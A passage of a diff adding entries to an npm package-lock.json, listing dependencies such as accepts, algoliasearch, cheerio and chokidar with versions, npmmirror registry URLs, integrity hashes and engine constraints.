"node": ">= 18" + } + }, + "node_modules/a-sync-waterfall": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/a-sync-waterfall/-/a-sync-waterfall-1.0.1.tgz", + "integrity": "sha512-RYTOHHdWipFUliRFMCS4X2Yn2X8M87V/OpSqWzKKOGhzqyUxzyVmhHDH9sAvG+ZuQf/TAOFsLCpMw09I1ufUnA==" + }, + "node_modules/abbrev": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/abbrev/-/abbrev-2.0.0.tgz", + "integrity": "sha512-6/mh1E2u2YgEsCHdY0Yx5oW+61gZU+1vXaoiHHrpKeuRNNgFvS+/jrwHiQhB5apAf5oB7UB7E19ol2R2LKH8hQ==", + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmmirror.com/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/agent-base": { + "version": "7.1.0", + "resolved": "https://registry.npmmirror.com/agent-base/-/agent-base-7.1.0.tgz", + "integrity": "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg==", + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/agent-base/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/agent-base/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/algoliasearch": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.22.1.tgz", + "integrity": "sha512-jwydKFQJKIx9kIZ8Jm44SdpigFwRGPESaxZBaHSV0XWN2yBJAOT4mT7ppvlrpA4UGzz92pqFnVKr/kaZXrcreg==", + "dependencies": { + "@algolia/cache-browser-local-storage": "4.22.1", + "@algolia/cache-common": "4.22.1", + "@algolia/cache-in-memory": "4.22.1", + "@algolia/client-account": "4.22.1", + "@algolia/client-analytics": "4.22.1", + "@algolia/client-common": "4.22.1", + "@algolia/client-personalization": "4.22.1", + "@algolia/client-search": "4.22.1", + "@algolia/logger-common": "4.22.1", + "@algolia/logger-console": "4.22.1", + "@algolia/requester-browser-xhr": "4.22.1", + "@algolia/requester-common": "4.22.1", + "@algolia/requester-node-http": "4.22.1", + "@algolia/transporter": "4.22.1" + } + }, + "node_modules/algoliasearch-helper": { + "version": "3.16.3", + "resolved": "https://registry.npmmirror.com/algoliasearch-helper/-/algoliasearch-helper-3.16.3.tgz", + "integrity": "sha512-1OuJT6sONAa9PxcOmWo5WCAT3jQSpCR9/m5Azujja7nhUQwAUDvaaAYrcmUySsrvHh74usZHbE3jFfGnWtZj8w==", + "dependencies": { + "@algolia/events": "^4.0.1" + }, + "peerDependencies": { + "algoliasearch": ">= 3.1 < 6" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/archy": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/archy/-/archy-1.0.0.tgz", + "integrity": "sha512-Xg+9RwCg/0p32teKdGMPTPnVXKD0w3DfHnFTficozsAgsvq2XenPJq/MYpzzQ/v8zrOyJn6Ds39VA4JIDwFfqw==" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==" + }, + "node_modules/assert-never": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/assert-never/-/assert-never-1.2.1.tgz", + "integrity": "sha512-TaTivMB6pYI1kXwrFlEhLeGfOqoDNdTxjCdwRfFFkEA30Eu+k48W34nlok2EYWJfFFzqaEmichdNM7th6M5HNw==" + }, + "node_modules/ast-types": { + "version": "0.13.4", + "resolved": "https://registry.npmmirror.com/ast-types/-/ast-types-0.13.4.tgz", + "integrity": "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w==", + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/async": { + "version": "3.2.5", + "resolved": "https://registry.npmmirror.com/async/-/async-3.2.5.tgz", + "integrity": "sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==" + }, + "node_modules/autosize": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/autosize/-/autosize-6.0.1.tgz", + "integrity": "sha512-f86EjiUKE6Xvczc4ioP1JBlWG7FKrE13qe/DxBCpe8GCipCq2nFw73aO8QEBKHfSbYGDN5eB9jXWKen7tspDqQ==" + }, + "node_modules/b4a": { + "version": "1.6.6", + "resolved": "https://registry.npmmirror.com/b4a/-/b4a-1.6.6.tgz", + "integrity": "sha512-5Tk1HLk6b6ctmjIkAcU/Ujv/1WqiDl0F0JdRCR80VsOcUlHcu7pWeWRlOqQLHfDEsVx9YH/aif5AG4ehoCtTmg==" + }, + "node_modules/babel-walk": { + "version": "3.0.0-canary-5", + "resolved": "https://registry.npmmirror.com/babel-walk/-/babel-walk-3.0.0-canary-5.tgz", + "integrity": "sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==", + "dependencies": { + "@babel/types": "^7.9.6" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/bare-events": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/bare-events/-/bare-events-2.2.1.tgz", + "integrity": "sha512-9GYPpsPFvrWBkelIhOhTWtkeZxVxZOdb3VnFTCzlOo3OjvmTvzLoZFUT8kNFACx0vJej6QPney1Cf9BvzCNE/A==", + "optional": true + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "node_modules/basic-auth": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/basic-auth/-/basic-auth-2.0.1.tgz", + "integrity": "sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==", + "dependencies": { + "safe-buffer": "5.1.2" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/basic-ftp": { + "version": "5.0.5", + "resolved": "https://registry.npmmirror.com/basic-ftp/-/basic-ftp-5.0.5.tgz", + "integrity": "sha512-4Bcg1P8xhUuqcii/S0Z9wiHIrQVPMermM1any+MX5GeGD7faD3/msQUDGLol9wOcz4/jbg/WJnGqoJF6LiBdtg==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "dependencies": { + "file-uri-to-path": "1.0.0" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmmirror.com/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==" + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==" + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.23.0", + "resolved": "https://registry.npmmirror.com/browserslist/-/browserslist-4.23.0.tgz", + "integrity": "sha512-QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ==", + "dependencies": { + "caniuse-lite": "^1.0.30001587", + "electron-to-chromium": "^1.4.668", + "node-releases": "^2.0.14", + "update-browserslist-db": "^1.0.13" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmmirror.com/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "engines": { + "node": "*" + } + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001596", + "resolved": "https://registry.npmmirror.com/caniuse-lite/-/caniuse-lite-1.0.30001596.tgz", + "integrity": "sha512-zpkZ+kEr6We7w63ORkoJ2pOfBwBkY/bJrG/UZ90qNb45Isblu8wzDgevEOrRL1r9dWayHjYiiyCMEXPn4DweGQ==" + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/character-parser": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/character-parser/-/character-parser-2.2.0.tgz", + "integrity": "sha512-+UqJQjFEFaTAs3bNsF2j2kEN1baG/zghZbdqoYEDxGZtJo9LBzl1A+m0D4n3qKx8N2FNv8/Xp6yV9mQmBuptaw==", + "dependencies": { + "is-regex": "^1.0.3" + } + }, + "node_modules/cheerio": { + "version": "1.0.0-rc.12", + "resolved": "https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0-rc.12.tgz", + "integrity": "sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==", + "dependencies": { + "cheerio-select": "^2.1.0", + "dom-serializer": "^2.0.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "htmlparser2": "^8.0.1", + "parse5": "^7.0.0", + "parse5-htmlparser2-tree-adapter": "^7.0.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/cheerio-select": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/cheerio-select/-/cheerio-select-2.1.0.tgz", + "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==", + "dependencies": { + "boolbase": "^1.0.0", + "css-select": "^5.1.0", + "css-what": "^6.1.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1" + } + }, + "node_modules/cheerio/node_modules/htmlparser2": { + "version": "8.0.2", + "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-8.0.2.tgz", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chromium-bidi": { + "version": "0.5.8", + "resolved": "https://registry.npmmirror.com/chromium-bidi/-/chromium-bidi-0.5.8.tgz", + "integrity": "sha512-blqh+1cEQbHBKmok3rVJkBlBxt9beKBgOsxbFgs7UJcoVbbeZ+K7+6liAsjgpc8l1Xd55cQUy14fXZdGSb4zIw==", + "dependencies": { + "mitt": "3.0.1", + "urlpattern-polyfill": "10.0.0" + }, + "peerDependencies": { + "devtools-protocol": "*" + } + }, + "node_modules/clean-css": { + "version": "4.2.4", + "resolved": "https://registry.npmmirror.com/clean-css/-/clean-css-4.2.4.tgz", + "integrity": "sha512-EJUDT7nDVFDvaQgAo2G/PJvxmp1o/c6iXLbswsBbUFXi1Nr+AjA2cKmfbKDMjMvzEe75g3P6JkaDDAKk96A85A==", + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/clone": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/clone/-/clone-2.1.2.tgz", + "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/color": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/color/-/color-4.2.3.tgz", + "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==", + "dependencies": { + "color-convert": "^2.0.1", + "color-string": "^1.9.0" + }, + "engines": { + "node": ">=12.5.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/color-string": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/color-string/-/color-string-1.9.1.tgz", + "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==", + "dependencies": { + "color-name": "^1.0.0", + "simple-swizzle": "^0.2.2" + } + }, + "node_modules/command-exists": { + "version": "1.2.9", + "resolved": "https://registry.npmmirror.com/command-exists/-/command-exists-1.2.9.tgz", + "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==" + }, + "node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmmirror.com/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmmirror.com/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "node_modules/connect": { + "version": "3.7.0", + "resolved": "https://registry.npmmirror.com/connect/-/connect-3.7.0.tgz", + "integrity": "sha512-ZqRXc+tZukToSNmh5C2iWMSoV3X1YUcPbqEM4DkEG5tNQXrQUZCNVGGv3IuicnkMtPfGf3Xtp8WCXs295iQ1pQ==", + "dependencies": { + "debug": "2.6.9", + "finalhandler": "1.1.2", + "parseurl": "~1.3.3", + "utils-merge": "1.0.1" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/constantinople": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/constantinople/-/constantinople-4.0.1.tgz", + "integrity": "sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==", + "dependencies": { + "@babel/parser": "^7.6.0", + "@babel/types": "^7.6.1" + } + }, + "node_modules/cosmiconfig": { + "version": "9.0.0", + "resolved": "https://registry.npmmirror.com/cosmiconfig/-/cosmiconfig-9.0.0.tgz", + "integrity": "sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==", + "dependencies": { + "env-paths": "^2.2.1", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "parse-json": "^5.2.0" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "typescript": ">=4.9.5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/cross-fetch": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/cross-fetch/-/cross-fetch-4.0.0.tgz", + "integrity": "sha512-e4a5N8lVvuLgAWgnCrLr2PP0YyDOTHa9H/Rj54dirp61qXnNq46m82bRhNqIA5VccJtWBvPTFRV3TtvHUKPB1g==", + "dependencies": { + "node-fetch": "^2.6.12" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-select": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==" + }, + "node_modules/cuid": { + "version": "2.1.8", + "resolved": "https://registry.npmmirror.com/cuid/-/cuid-2.1.8.tgz", + "integrity": "sha512-xiEMER6E7TlTPnDxrM4eRiC6TRgjNX9xzEZ5U/Se2YJKr7Mq4pJn/2XEHjl3STcSh96GmkHPcBXLES8M29wyyg==", + "deprecated": "Cuid and other k-sortable and non-cryptographic ids (Ulid, ObjectId, KSUID, all UUIDs) are all insecure. Use @paralleldrive/cuid2 instead." + }, + "node_modules/data-uri-to-buffer": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/data-uri-to-buffer/-/data-uri-to-buffer-6.0.2.tgz", + "integrity": "sha512-7hvf7/GW8e86rW0ptuwS3OcBGDjIi6SZva7hCyWC0yYry2cOPmLIjXAUHI6DK2HsnwJd9ifmt57i8eV2n4YNpw==", + "engines": { + "node": ">= 14" + } + }, + "node_modules/deasync": { + "version": "0.1.29", + "resolved": "https://registry.npmmirror.com/deasync/-/deasync-0.1.29.tgz", + "integrity": "sha512-EBtfUhVX23CE9GR6m+F8WPeImEE4hR/FW9RkK0PMl9V1t283s0elqsTD8EZjaKX28SY1BW2rYfCgNsAYdpamUw==", + "hasInstallScript": true, + "dependencies": { + "bindings": "^1.5.0", + "node-addon-api": "^1.7.1" + }, + "engines": { + "node": ">=0.11.0" + } + }, + "node_modules/deasync-promise": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/deasync-promise/-/deasync-promise-1.0.1.tgz", + "integrity": "sha512-VzJ6J6beJcSXM7SMVhug3JNZzLiPGUNJWDuevXcFeXQCa+zlnP7ZrByI+8DZQZ3AoZJj9W32ceqF6JBKmsTdgg==", + "dependencies": { + "deasync": "^0.1.7" + } + }, + "node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": 